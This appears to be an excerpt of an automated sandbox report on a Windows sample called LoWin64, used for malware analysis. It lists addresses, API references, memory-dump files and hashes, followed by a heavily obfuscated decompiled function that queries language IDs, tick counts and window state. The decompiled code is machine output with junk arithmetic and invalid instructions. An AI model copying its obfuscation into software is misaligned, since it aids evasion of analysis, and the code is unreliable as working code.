0x7ff6b1cafad4
0x7ff6b1cafad6
0x7ff6b1cafadc
0x7ff6b1cafadf
0x7ff6b1cafae6
0x7ff6b1cafaee
0x7ff6b1cafaf4
0x7ff6b1cafaf9
0x7ff6b1cafafb
0x7ff6b1cafaff
0x7ff6b1cafb01
0x7ff6b1cafb09
0x7ff6b1cafb0f
0x7ff6b1cafb1a
0x7ff6b1cafb20
0x7ff6b1cafb26
0x7ff6b1cafb2c
0x7ff6b1cafb34
0x7ff6b1cafb3a
0x7ff6b1cafb40
0x7ff6b1cafb48
0x7ff6b1cafb4e
0x7ff6b1cafb50
0x7ff6b1cafb57
0x7ff6b1cafb5b
0x7ff6b1cafb64
0x7ff6b1cafb6a
0x7ff6b1cafb70
0x7ff6b1cafb73
0x7ff6b1cafb77
0x7ff6b1cafb7f
0x7ff6b1cafb85
0x7ff6b1cafb8d
0x7ff6b1cafb93
0x7ff6b1cafb98
0x7ff6b1cafb9e
0x7ff6b1cafba6
0x7ff6b1cafbac
0x7ff6b1cafbb1
0x7ff6b1cafbb3
0x7ff6b1cafbbb
0x7ff6b1cafbc1
0x7ff6b1cafbc6
0x7ff6b1cafbc8
0x7ff6b1cafbd0
0x7ff6b1cafbd6
0x7ff6b1cafbdb
0x7ff6b1cafbdd
0x7ff6b1cafbe5
0x7ff6b1cafbeb
0x7ff6b1cafbf0
0x7ff6b1cafbf2
0x7ff6b1cafc01
0x7ff6b1cafc05
0x7ff6b1cafc07
0x7ff6b1cafc0c
0x7ff6b1cafc12
0x7ff6b1cafc17
0x7ff6b1cafc1c
0x7ff6b1cafc1e
0x7ff6b1cafc24
0x7ff6b1cafc2b
0x7ff6b1cafc2e
0x7ff6b1cafc32
0x7ff6b1cafc34
0x7ff6b1cafc3c
0x7ff6b1cafc42
0x7ff6b1cafc4d
0x7ff6b1cafc53
0x7ff6b1cafc55
0x7ff6b1cafc5c
0x7ff6b1cafc64
0x7ff6b1cafc6a
0x7ff6b1cafc75
0x7ff6b1cafc7b
0x7ff6b1cafc85
0x7ff6b1cafc88
0x7ff6b1cafc8e
0x7ff6b1cafc90
0x7ff6b1cafc98
0x7ff6b1cafc9c
0x7ff6b1cafca0
0x7ff6b1cafca4
0x7ff6b1cafca6
0x7ff6b1cafca8
0x7ff6b1cafcb0
0x7ff6b1cafcb6
0x7ff6b1cafcba
0x7ff6b1cafcbc
0x7ff6b1cafcc2
0x7ff6b1cafccc
0x7ff6b1cafcd7
0x7ff6b1cafcd9
0x7ff6b1cafce1
0x7ff6b1cafcec
0x7ff6b1cafcee
0x7ff6b1cafcf4
0x7ff6b1cafcfc
0x7ff6b1cafd0d
0x7ff6b1cafd13
0x7ff6b1cafd19
0x7ff6b1cafd20
0x7ff6b1cafd2a
0x7ff6b1cafd30
0x7ff6b1cafd39
0x7ff6b1cafd40
0x7ff6b1cafd42
0x7ff6b1cafd4a
0x7ff6b1cafd4f
0x7ff6b1cafd57
0x7ff6b1cafd5c
0x7ff6b1cafd6b
0x7ff6b1cafd7f

APIs

GetSystemDefaultLangID.KERNEL32 ref: 00007FF6B1CAEEB8
GetLastActivePopup.USER32 ref: 00007FF6B1CAEEC0
GetSystemDefaultLangID.KERNEL32 ref: 00007FF6B1CAEF0B
GetSystemDefaultLangID.KERNEL32 ref: 00007FF6B1CAEF8A
GetTickCount.KERNEL32 ref: 00007FF6B1CAF00A
GetTickCount.KERNEL32 ref: 00007FF6B1CAF010

Strings

&Z, xrefs: 00007FF6B1CAF0F5
R, xrefs: 00007FF6B1CAFD4A
$!, xrefs: 00007FF6B1CAFD57

Memory Dump Source

Source File: 00000019.00000002.471908681.00007FF6B1CA1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6B1CA0000, based on PE: true

Associated: 00000019.00000002.471898120.00007FF6B1CA0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473004363.00007FF6B1DA4000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473431822.00007FF6B1DEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473482729.00007FF6B1DEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473540111.00007FF6B1DFE000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473695074.00007FF6B1E17000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473710818.00007FF6B1F75000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473730190.00007FF6B1F77000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473944631.00007FF6B1FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff6b1ca0000_LoWin64.jbxd

Similarity

API ID: DefaultLangSystem$CountTick$ActiveLastPopup
String ID: $!$&Z$R
API String ID: 1650924157-1434445077
Opcode ID: 9a9a9286aaa20f79f75029bb73114d203cfaf7ebee77dd11554376360bf6893b
Instruction ID: 9622121b37dfb47b5d99ff2baead7ff3495de374b389e17b972f95b4984f7900
Opcode Fuzzy Hash: 9a9a9286aaa20f79f75029bb73114d203cfaf7ebee77dd11554376360bf6893b
Instruction Fuzzy Hash: 4272366BE3890376F7165F3CAD8A2BD66A06F2464CF680738D719D129ACF3CF1468244

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6B1CAF15A Relevance: 44.5, APIs: 23, Strings: 2, Instructions: 726
windowCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E00007FF67FF6B1CAF15A(void* __ebx, signed int __edi, void* __eflags, void* __rsi, void* _a128) {
				signed char _t90;
				signed int _t123;
				signed int _t156;
				signed int _t167;
				void* _t193;
				void* _t225;
				void* _t243;
				void* _t292;
				void* _t295;
				void* _t296;
				void* _t297;
				void* _t299;
				void* _t302;
				void* _t303;
				void* _t306;
				void* _t312;
				void* _t318;
				void* _t333;
				void* _t367;
				void* _t369;
				void* _t377;
				signed int _t380;
				signed long long _t388;
				void* _t392;
				signed long long _t395;
				signed long long _t399;
				signed long long _t403;
				signed long long _t412;
				void* _t416;
				signed long long _t419;
				signed long long _t423;
				signed long long _t427;
				signed long long _t431;
				signed long long _t435;
				signed long long _t439;
				signed long long _t440;
				void* _t443;
				signed long long _t446;
				void* _t450;
				signed int _t454;
				signed long long _t455;
				signed long long _t459;
				void* _t465;
				void* _t468;
				void* _t471;
				void* _t473;
				void* _t475;
				void* _t477;
				void* _t479;
				void* _t481;
				void* _t483;
				void* _t485;
				void* _t487;
				void* _t489;
				void* _t493;
				void* _t495;
				void* _t497;
				void* _t499;
				void* _t501;
				void* _t503;
				void* _t505;
				void* _t507;
				void* _t509;
				void* _t511;
				signed long long _t513;
				signed long long _t518;
				signed long long _t528;
				signed long long _t531;
				signed long long _t536;
				signed long long _t539;
				signed long long _t542;
				signed long long _t545;
				signed long long _t546;
				signed long long _t548;
				signed long long _t551;
				void* _t555;
				signed long long _t558;
				signed long long _t562;
				signed long long _t566;
				void* _t584;
				void* _t587;
				void* _t590;
				void* _t593;
				void* _t596;
				void* _t599;
				void* _t602;
				void* _t605;
				void* _t608;
				void* _t611;
				void* _t614;
				void* _t617;
				void* _t620;
				void* _t623;
				signed long long _t637;
				signed int _t639;
				void* _t656;
				void* _t687;

				_t295 = __eflags;
				 *0xb1decf60 = _t656 + _t637;
				E00007FF67FF6B1D3ACF4(_t388);
				if (_t295 >= 0) goto 0xb1caf175;
				_t392 = ((_t388 & 0x8000007f) - _t637 | 0xffffff80) + _t637;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t295 > 0) goto 0xb1caf155;
				 *0xb1decf60 = r12d;
				 *0xb1decf60 = r12d;
				E00007FF67FF6B1D3ACF4(_t392);
				_t395 = (_t392 - _t637 | 0xffffff80) + _t637;
				_t296 = _t395 - 0x7b;
				if (_t296 >= 0) goto 0xb1caf1c0;
				E00007FF67FF6B1D3ACF4(_t395);
				if (_t296 >= 0) goto 0xb1caf1bb;
				_t399 = ((_t395 & 0x8000007f) - _t637 | 0xffffff80) + _t637;
				_t297 = _t399 - 0x49;
				if (_t297 > 0) goto 0xb1caf1df;
				E00007FF67FF6B1D3ACF4(_t399);
				if (_t297 >= 0) goto 0xb1caf1d0;
				_t403 = ((_t399 & 0x8000007f) - _t637 | 0xffffff80) + _t637;
				 *0xb1decf60 = _t639;
				E00007FF67FF6B1D3ACF4(_t403);
				if (_t403 - 0x7b >= 0) goto 0xb1caf1ef;
				_t299 = ((_t403 & 0x8000007f) - _t637 | 0xffffff80) + _t637 - 0x4e;
				if (_t299 == 0) goto 0xb1caf264;
				asm("movsd xmm6, [0x10f8a4]");
				_pop(_t640);
				E00007FF67FF6B1D3ACF4(((_t403 & 0x8000007f) - _t637 | 0xffffff80) + _t637);
				GetCurrentProcessId();
				E00007FF67FF6B1D3ACF4(((_t403 & 0x8000007f) - _t637 | 0xffffff80) + _t637);
				if (_t299 >= 0) goto 0xb1caf224;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t299 != 0) goto 0xb1caf237;
				if (_t299 == 0) goto 0xb1caf239;
				_t412 = _t637;
				 *0xb1decf60 = _t412;
				 *0xb1decf60 = 0x2b + _t637;
				E00007FF67FF6B1D3ACF4(_t412);
				if (_t299 >= 0) goto 0xb1caf25a;
				_t416 = ((_t412 & 0x8000007f) - _t637 | 0xffffff80) + _t637;
				if (_t416 != 0x4e) goto 0xb1caf201;
				asm("verw ax");
				asm("pop es");
				_t419 = (_t416 - _t637 | 0xffffff80) + _t637;
				_t302 = _t419 - 0x4f;
				if (_t302 <= 0) goto 0xb1caf2b1;
				E00007FF67FF6B1D3ACF4(_t419);
				if (_t302 >= 0) goto 0xb1caf291;
				_t423 = ((_t419 & 0x8000007f) - _t637 | 0xffffff80) + _t637;
				_t303 = _t423 - 0x79;
				if (_t303 == 0) goto 0xb1caf2b1;
				E00007FF67FF6B1D3ACF4(_t423);
				if (_t303 >= 0) goto 0xb1caf2a6;
				_t427 = ((_t423 & 0x8000007f) - _t637 | 0xffffff80) + _t637;
				goto 0xb1caf2d2;
				 *0xb1da43d0();
				E00007FF67FF6B1D3ACF4(_t427);
				if (_t427 - 0x79 >= 0) goto 0xb1caf2c9;
				_t431 = ((_t427 & 0x8000007f) - _t637 | 0xffffff80) + _t637;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(_t431);
				if (_t431 - 0x4f >= 0) goto 0xb1caf2e8;
				_t435 = ((_t431 & 0x8000007f) - _t637 | 0xffffff80) + _t637;
				_t306 = _t435 - 9;
				if (_t306 == 0) goto 0xb1caf30a;
				E00007FF67FF6B1D3ACF4(_t435);
				if (_t306 >= 0) goto 0xb1caf2fd;
				_t439 = ((_t435 & 0x8000007f) - _t637 | 0xffffff80) + _t637;
				if (_t439 == 0x14) goto 0xb1caf329;
				 *0xb1decf60 = _t637;
				goto 0xb1caf329;
				E00007FF67FF6B1D3ACF4(_t439);
				_t440 = _t439 & 0x8000007f;
				if (_t440 >= 0) goto 0xb1caf31a;
				_t443 = (_t440 - _t637 | 0xffffff80) + _t637;
				 *0xb1decf60 = 0;
				 *0x7FF631CAF3B7 =  *((intOrPtr*)(0x7ff631caf3b7)) + spl;
				if (_t443 - 9 >= 0) goto 0xb1caf341;
				_t446 = (_t443 - _t637 | 0xffffff80) + _t637;
				asm("movsd xmm6, [0x10f717]");
				goto 0xb1caf371;
				if (0x42 - 0x47 >= 0) goto 0xb1caf381;
				 *0xb1da43f0();
				 *0xb1decf60 = 0x42 + _t637;
				E00007FF67FF6B1D3ACF4(_t446);
				if (0x42 - 0x47 >= 0) goto 0xb1caf371;
				_t450 = ((_t446 & 0x8000007f) - _t637 | 0xffffff80) + _t637;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (0x42 != 0x47) goto 0xb1caf34b;
				if (0x42 != 0x47) goto 0xb1caf34b;
				 *0xb1decf60 = 0x65;
				GetLastActivePopup(??);
				E00007FF67FF6B1D3ACF4(_t450);
				if ((_t450 - _t637 | 0xffffff80) + _t637 - 0x67 < 0) goto 0xb1caf3cb;
				_t454 = _t637;
				 *0xb1decf60 = _t637;
				 *0xb1decf60 = _t454;
				_t455 = _t454 + _t637;
				_t312 = _t455 - 0xd;
				if (_t312 < 0) goto 0xb1caf3af;
				 *0xb1decf60 = r12d;
				goto 0xb1caf3d7;
				E00007FF67FF6B1DA4030();
				 *0xb1decf60 = _t637;
				E00007FF67FF6B1D3ACF4(_t455);
				GetMessageExtraInfo();
				E00007FF67FF6B1D3ACF4(_t455);
				if (_t312 >= 0) goto 0xb1caf3f2;
				_t459 = ((_t455 & 0x8000007f) - _t637 | 0xffffff80) + _t637;
				 *0xb1decf60 = 0;
				GetCurrentProcess();
				IsIconic(??);
				E00007FF67FF6B1D3ACF4(_t459);
				if (_t459 - 0x6a >= 0) goto 0xb1caf41f;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, [0x10f37e]");
				 *0xb1decf60 = ((_t459 & 0x8000007f) - _t637 | 0xffffff80) + _t637;
				_t90 = GetSystemDefaultLangID();
				 *0xb1decf60 = r12d;
				 *0xb1decf60 = r14d;
				r14d = r14d + __ebx;
				if (r14d - 0x73 < 0) goto 0xb1caf448;
				 *0xb1decf60 = _t637;
				asm("adc eax, [eax]");
				 *0x34 =  *0x34 + (_t90 &  *0x34);
				 *0xb1decf60 = 0x34;
				_t465 = 0x34 + _t637;
				if (0x34 - 0x43 < 0) goto 0xb1caf46d;
				E00007FF67FF6B1DA4020();
				r14d = __edi;
				E00007FF67FF6B1D3ACF4(_t465);
				if (0x34 - 0x43 >= 0) goto 0xb1caf494;
				_t468 = (_t465 - _t637 | 0xffffff80) + _t637;
				if (0x34 != 0x46) goto 0xb1caf4b9;
				E00007FF67FF6B1D3ACF4(_t468);
				if (0x34 - 0x46 >= 0) goto 0xb1caf4aa;
				_t471 = (_t468 - _t637 | 0xffffff80) + _t637;
				 *0xb1decf60 = 0;
				r15d = r15d + __ebx;
				 *0xb1decf60 = r15d;
				_t318 = r15d - 0x2a;
				if (_t318 < 0) goto 0xb1caf483;
				E00007FF67FF6B1D3ACF4(_t471);
				r15d = 0xffffff80;
				if (_t318 >= 0) goto 0xb1caf4e0;
				_t473 = _t471 - _t637 + _t637;
				if (0x34 == 0x61) goto 0xb1caf505;
				E00007FF67FF6B1D3ACF4(_t473);
				if (0x34 - 0x61 >= 0) goto 0xb1caf4f6;
				_t475 = _t473 - _t637 + _t637;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(_t475);
				if (0x34 - 0x61 >= 0) goto 0xb1caf516;
				_t477 = _t475 - _t637 + _t637;
				if (0x34 - 0x76 <= 0) goto 0xb1caf553;
				E00007FF67FF6B1D3ACF4(_t477);
				if (0x34 - 0x76 >= 0) goto 0xb1caf52c;
				_t479 = _t477 - _t637 + _t637;
				if (0x34 - 0x38 <= 0) goto 0xb1caf553;
				E00007FF67FF6B1D3ACF4(_t479);
				if (0x34 - 0x38 >= 0) goto 0xb1caf542;
				_t481 = _t479 - _t637 + _t637;
				 *0xb1decf60 = 0;
				goto 0xb1caf559;
				 *0xb1decf60 = _t637;
				 *0xb1decf60 = _t637;
				E00007FF67FF6B1D3ACF4(_t481);
				if (0x34 - 0x76 >= 0) goto 0xb1caf570;
				_t483 = _t481 - _t637 + _t637;
				if (0x34 == 0x23) goto 0xb1caf5ba;
				E00007FF67FF6B1D3ACF4(_t483);
				if (0x34 - 0x23 >= 0) goto 0xb1caf586;
				_t485 = _t483 - _t637 + _t637;
				asm("movsd xmm0, [0x10f2c2]");
				asm("movd xmm1, eax");
				asm("cvtdq2pd xmm1, xmm1");
				asm("ucomisd xmm0, xmm1");
				if (0x34 != 0x23) goto 0xb1caf59e;
				if (0x34 == 0x23) goto 0xb1caf5ba;
				E00007FF67FF6B1D3ACF4(_t485);
				if (0x34 - 0x23 >= 0) goto 0xb1caf5af;
				_t487 = _t485 - _t637 + _t637;
				goto 0xb1caf5ea;
				E00007FF67FF6B1D3ACF4(_t487);
				if (0x34 - 0x23 >= 0) goto 0xb1caf5cb;
				_t489 = _t487 - _t637 + _t637;
				if (0x34 - 0x3b <= 0) goto 0xb1caf5f0;
				_t123 = E00007FF67FF6B1D3ACF4(_t489);
				if (0x34 - 0x3b >= 0) goto 0xb1caf5e1;
				 *0xb1decf60 = 0;
				asm("cmc");
				sil = 8;
				 *0x00000023 =  *((intOrPtr*)(0x23)) + (_t123 & r14d | r15d) + bpl;
				asm("invalid");
				asm("pop es");
				_t493 = _t489 - _t637 + _t637 - _t637 + _t637;
				if (0x34 - 7 >= 0) goto 0xb1caf67b;
				E00007FF67FF6B1D3ACF4(_t493);
				if (0x34 - 7 >= 0) goto 0xb1caf621;
				_t495 = _t493 - _t637 + _t637;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, [0x10f117]");
				if (0x34 - 7 > 0) goto 0xb1caf67b;
				E00007FF67FF6B1D3ACF4(_t495);
				if (0x34 - 7 >= 0) goto 0xb1caf644;
				_t497 = _t495 - _t637 + _t637;
				if (0x34 == 0x16) goto 0xb1caf65f;
				E00007FF67FF6B1D3ACF4(_t497);
				if (0x34 - 0x16 >= 0) goto 0xb1caf65a;
				_t499 = _t497 - _t637 + _t637;
				if (0x34 - 0x23 > 0) goto 0xb1caf69b;
				E00007FF67FF6B1D3ACF4(_t499);
				if (0x34 - 0x23 >= 0) goto 0xb1caf670;
				_t501 = _t499 - _t637 + _t637;
				goto 0xb1caf695;
				E00007FF67FF6B1D3ACF4(_t501);
				if (0x34 - 0x16 >= 0) goto 0xb1caf68c;
				_t503 = _t501 - _t637 + _t637;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = _t637;
				 *0xb1decf60 = 0x3c;
				_t333 = 0x3c + _t637 - 0x4c;
				if (_t333 < 0) goto 0xb1caf5f5;
				GetUserDefaultLangID();
				asm("sldt word [ebx]");
				asm("sti");
				 *0xb1decf60 = 0x21;
				E00007FF67FF6B1D3ACF4(_t503);
				if (_t333 >= 0) goto 0xb1caf6dc;
				_t505 = _t503 - _t637 + _t637;
				if (0x34 != 0x7a) goto 0xb1caf6e6;
				if (0x21 - 0x31 < 0) goto 0xb1caf6bd;
				GetCurrentProcess();
				IsZoomed(??);
				GetParent(??);
				E00007FF67FF6B1D3ACF4(_t505);
				if (0x21 - 0x31 >= 0) goto 0xb1caf70d;
				_t507 = _t505 - _t637 + _t637;
				if (0x34 - 0x2d >= 0) goto 0xb1caf732;
				E00007FF67FF6B1D3ACF4(_t507);
				if (0x34 - 0x2d >= 0) goto 0xb1caf723;
				_t509 = _t507 - _t637 + _t637;
				 *0xb1decf60 = 0;
				_t156 = E00007FF67FF6B1D3ACF4(_t509);
				if (0x34 - 0x2d >= 0) goto 0xb1caf743;
				_t511 = _t509 - _t637 + _t637;
				r14d = 0x6a;
				if ((_t156 & r14d | r15d) == r14d) goto 0xb1caf7fd;
				E00007FF67FF6B1D3ACF4(_t511);
				_t513 = _t511 - _t637 + _t637;
				if (0x34 != 0x2c) goto 0xb1caf802;
				E00007FF67FF6B1D3ACF4(_t513);
				if (0x34 - 0x2c >= 0) goto 0xb1caf780;
				if (0x34 == 0x69) goto 0xb1caf827;
				 *_t637 =  *_t637 + spl;
				asm("invalid");
				asm("pop es");
				_t518 = (_t513 & 0x8000007f) - _t637 + _t637 - _t637 + _t637;
				if (0x34 - 0x52 >= 0) goto 0xb1caf7ab;
				 *0xb1decf60 = _t637;
				goto 0xb1caf7d0;
				 *0xb1da43f0();
				E00007FF67FF6B1D3ACF4(_t518);
				if (0x34 - 0x52 >= 0) goto 0xb1caf7c1;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = 0x59;
				if (0x59 + _t637 - 0x5f < 0) goto 0xb1caf78e;
				_t167 = E00007FF67FF6B1D3ACF4((_t518 & 0x8000007f) - _t637 + _t637);
				goto 0xb1caf821;
				asm("verw ax");
				asm("out 0xb4, eax");
				 *0x34 =  *0x34 | _t167 | r15d;
				if (0x34 - 0x69 >= 0) goto 0xb1caf818;
				 *0xb1decf60 = 0;
				asm("adc eax, [eax]");
				_t528 = 0x54 + _t637;
				if (0x54 - 0x63 < 0) goto 0xb1caf82c;
				E00007FF67FF6B1D3ACF4(_t528);
				if (0x54 - 0x63 >= 0) goto 0xb1caf849;
				_t531 = (_t528 & 0x8000007f) - _t637 + _t637;
				if (0x54 != 0x12) goto 0xb1caf855;
				 *0xb1decf60 = r12d;
				E00007FF67FF6B1D3ACF4(_t531);
				if (0x54 - 0x12 >= 0) goto 0xb1caf865;
				if ((_t531 & 0x8000007f) - _t637 + _t637 != 0x34) goto 0xb1caf877;
				GetUserDefaultLangID();
				 *0xb1decf60 = r12d;
				asm("adc eax, [eax]");
				_t536 = 0x3a + _t637;
				if (0x3a - 0x43 < 0) goto 0xb1caf87c;
				E00007FF67FF6B1D3ACF4(_t536);
				if (0x3a - 0x43 >= 0) goto 0xb1caf899;
				_t539 = (_t536 & 0x8000007f) - _t637 + _t637;
				asm("movsd xmm6, [0x10f177]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (0x3a - 0x43 <= 0) goto 0xb1caf8d9;
				E00007FF67FF6B1D3ACF4(_t539);
				if (0x3a - 0x43 >= 0) goto 0xb1caf8bf;
				_t542 = (_t539 & 0x8000007f) - _t637 + _t637;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = 0x3a;
				goto 0xb1caf8eb;
				 *0xb1da4000();
				 *0xb1decf60 = _t637;
				 *0xb1decf60 = _t637;
				 *0xb1decf60 = _t637;
				GetWindowTextLengthW(??);
				E00007FF67FF6B1D3ACF4(_t542);
				E00007FF67FF6B1D3ACF4(_t542);
				if (0x3a - 0x43 >= 0) goto 0xb1caf90e;
				_t545 = (_t542 & 0x8000007f) - _t637 + _t637;
				asm("movsd xmm6, [0x10f00a]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (0x3a - 0x43 > 0) goto 0xb1caf92d;
				 *0xb1decf60 = r12d;
				goto 0xb1caf955;
				E00007FF67FF6B1D3ACF4(_t545);
				_t546 = _t545 & 0x8000007f;
				if (0x3a >= 0) goto 0xb1caf93d;
				_t548 = _t546 - _t637 + _t637;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xb1decf60 = 0x3a;
				GetTopWindow(??);
				bpl =  !bpl;
				asm("adc eax, [eax]");
				E00007FF67FF6B1D3ACF4(_t548);
				if (0x3a >= 0) goto 0xb1caf97d;
				_t551 = (_t548 & 0x8000007f) - _t637 + _t637;
				if (0x3a - 0x66 > 0) goto 0xb1caf987;
				if (0x2f - 0x30 < 0) goto 0xb1caf962;
				r15d = 0x42;
				 *0xb1decf60 = 0x2f;
				_t193 = E00007FF67FF6B1D3ACF4(_t551);
				if (0x2f - 0x30 >= 0) goto 0xb1caf9ab;
				_t555 = ((_t551 & 0x8000007f) - _t637 | 0xffffff80) + _t637;
				if (_t193 != r14d) goto 0xb1caf9b5;
				if (0x2f + _t637 - 0x48 < 0) goto 0xb1caf990;
				 *0xb1decf60 = r12d;
				E00007FF67FF6B1D3ACF4(_t555);
				_t558 = (_t555 - _t637 | 0xffffff80) + _t637;
				if (0x3a - 0x2d > 0) goto 0xb1cafa1f;
				E00007FF67FF6B1D3ACF4(_t558);
				if (0x3a - 0x2d >= 0) goto 0xb1caf9e6;
				_t562 = ((_t558 & 0x8000007f) - _t637 | 0xffffff80) + _t637;
				if (0x3a == 0xb) goto 0xb1cafa1f;
				 *0xb1decf60 = _t637;
				 *0xb1decf60 = r12d;
				 *0xb1decf60 = _t637;
				 *0xb1decf60 = _t637;
				E00007FF67FF6B1D3ACF4(_t562);
				if (0x3a - 0xb >= 0) goto 0xb1cafa14;
				_t566 = ((_t562 & 0x8000007f) - _t637 | 0xffffff80) + _t637;
				goto 0xb1cafa7d;
				E00007FF67FF6B1D3ACF4(_t566);
				if (0x3a - 0x2d >= 0) goto 0xb1cafa2f;
				if (0x3a == 0x1e) goto 0xb1cafa64;
				E00007FF67FF6B1D3ACF4(((_t566 & 0x8000007f) - _t637 | 0xffffff80) + _t637);
				if (0x3a - 0x1e >= 0) goto 0xb1cafa44;
				if (0x3a - 0x30 < 0) goto 0xb1cafa64;
				E00007FF67FF6B1D3ACF4(((((_t566 & 0x8000007f) - _t637 | 0xffffff80) + _t637 & 0x8000007f) - _t637 | 0xffffff80) + _t637);
				if (0x3a - 0x30 >= 0) goto 0xb1cafa59;
				goto 0xb1cafa7d;
				E00007FF67FF6B1D3ACF4(((((((_t566 & 0x8000007f) - _t637 | 0xffffff80) + _t637 & 0x8000007f) - _t637 | 0xffffff80) + _t637 & 0x8000007f) - _t637 | 0xffffff80) + _t637);
				if (0x3a - 0x1e >= 0) goto 0xb1cafa74;
				 *0xb1decf60 = 0;
				asm("adc eax, [eax]");
				_t584 = 0x6 + _t637;
				if (0x6 - 0x11 < 0) goto 0xb1cafa88;
				 *0xb1decf60 = r13d;
				r13d = r13d + __ebx;
				if (r13d - 0x7b < 0) goto 0xb1cafa83;
				asm("adc eax, [eax]");
				if (0x3e + _t637 - 0x41 < 0) goto 0xb1cafaaa;
				E00007FF67FF6B1D3ACF4(_t584);
				r13d = 0x8000007f;
				asm("push es");
				_t587 = (_t584 - _t637 | 0xffffff80) + _t637;
				if (0x6 != 0x3c) goto 0xb1cafb01;
				AnyPopup();
				r15d = r15d + __ebx;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t587);
				if (0x6 - 0x3c >= 0) goto 0xb1cafaf6;
				_t590 = (_t587 - _t637 | 0xffffff80) + _t637;
				if (0x6 == 0x75) goto 0xb1cafb01;
				_t367 = r15d - 0x4a;
				if (_t367 < 0) goto 0xb1cafad6;
				E00007FF67FF6B1D3ACF4(_t590);
				if (_t367 >= 0) goto 0xb1cafb11;
				_t593 = (_t590 - _t637 | 0xffffff80) + _t637;
				 *0xb1decf60 = 0;
				GetCommandLineW();
				E00007FF67FF6B1DA4020();
				asm("movsd xmm6, [0x10ec2c]");
				GetDesktopWindow();
				 *0xb1decf60 = _t637;
				E00007FF67FF6B1D3ACF4(_t593);
				if (0x6 - 0x3c >= 0) goto 0xb1cafb50;
				_t596 = (_t593 - _t637 | 0xffffff80) + _t637;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = 0x6;
				 *0xb1decf60 = 0x41;
				_t369 = 0x41 + _t637 - 0x4c;
				if (_t369 < 0) goto 0xb1cafb34;
				IsIconic(??);
				IsZoomed(??);
				E00007FF67FF6B1D3ACF4(_t596);
				if (_t369 >= 0) goto 0xb1cafb95;
				_t599 = (_t596 - _t637 | 0xffffff80) + _t637;
				if (0x6 - 0x6c <= 0) goto 0xb1cafc80;
				E00007FF67FF6B1D3ACF4(_t599);
				if (0x6 - 0x6c >= 0) goto 0xb1cafbae;
				_t602 = (_t599 - _t637 | 0xffffff80) + _t637;
				if (0x6 != 0x15) goto 0xb1cafbdd;
				E00007FF67FF6B1D3ACF4(_t602);
				if (0x6 - 0x15 >= 0) goto 0xb1cafbc3;
				_t605 = (_t602 - _t637 | 0xffffff80) + _t637;
				if (0x6 != 0x5d) goto 0xb1cafbdd;
				E00007FF67FF6B1D3ACF4(_t605);
				if (0x6 - 0x5d >= 0) goto 0xb1cafbd8;
				_t608 = (_t605 - _t637 | 0xffffff80) + _t637;
				goto 0xb1cafc47;
				E00007FF67FF6B1D3ACF4(_t608);
				if (0x6 - 0x15 >= 0) goto 0xb1cafbed;
				_t611 = (_t608 - _t637 | 0xffffff80) + _t637;
				if (0x6 != 0x63) goto 0xb1cafc55;
				_t225 = E00007FF67FF6B1D3ACF4(_t611);
				asm("rcl dword [ebx], cl");
				goto 0xb1cafbb7;
				 *0x6 =  *0x6 | _t225 + bpl;
				if (0x6 - 0x63 >= 0) goto 0xb1cafc14;
				_t614 = (_t611 - _t637 | 0xffffff80) + _t637;
				if (0x6 - 0x43 >= 0) goto 0xb1cafc1e;
				if (0x38 - 0x44 < 0) goto 0xb1cafbfc;
				 *0xb1decf60 = _t637;
				 *0xb1decf60 = r14d;
				r14d = r14d + __ebx;
				_t377 = r14d - 0x6f;
				if (_t377 < 0) goto 0xb1cafbf2;
				E00007FF67FF6B1D3ACF4(_t614);
				if (_t377 >= 0) goto 0xb1cafc44;
				_t617 = (_t614 - _t637 | 0xffffff80) + _t637;
				 *0xb1decf60 = 0;
				goto 0xb1cafc5c;
				 *0xb1decf60 = r12d;
				E00007FF67FF6B1D3ACF4(_t617);
				if (0x6 - 0x63 >= 0) goto 0xb1cafc6c;
				_t620 = (_t617 - _t637 | 0xffffff80) + _t637;
				 *0xb1decf60 = 0;
				goto 0xb1cafd19;
				_t380 = E00007FF67FF6B1D3ACF4(_t620) & r13d;
				if (_t380 >= 0) goto 0xb1cafc90;
				_t623 = (_t620 - _t637 | 0xffffff80) + _t637;
				asm("movsd xmm0, [0x10edd0]");
				asm("movd xmm1, eax");
				asm("cvtdq2pd xmm1, xmm1");
				asm("ucomisd xmm0, xmm1");
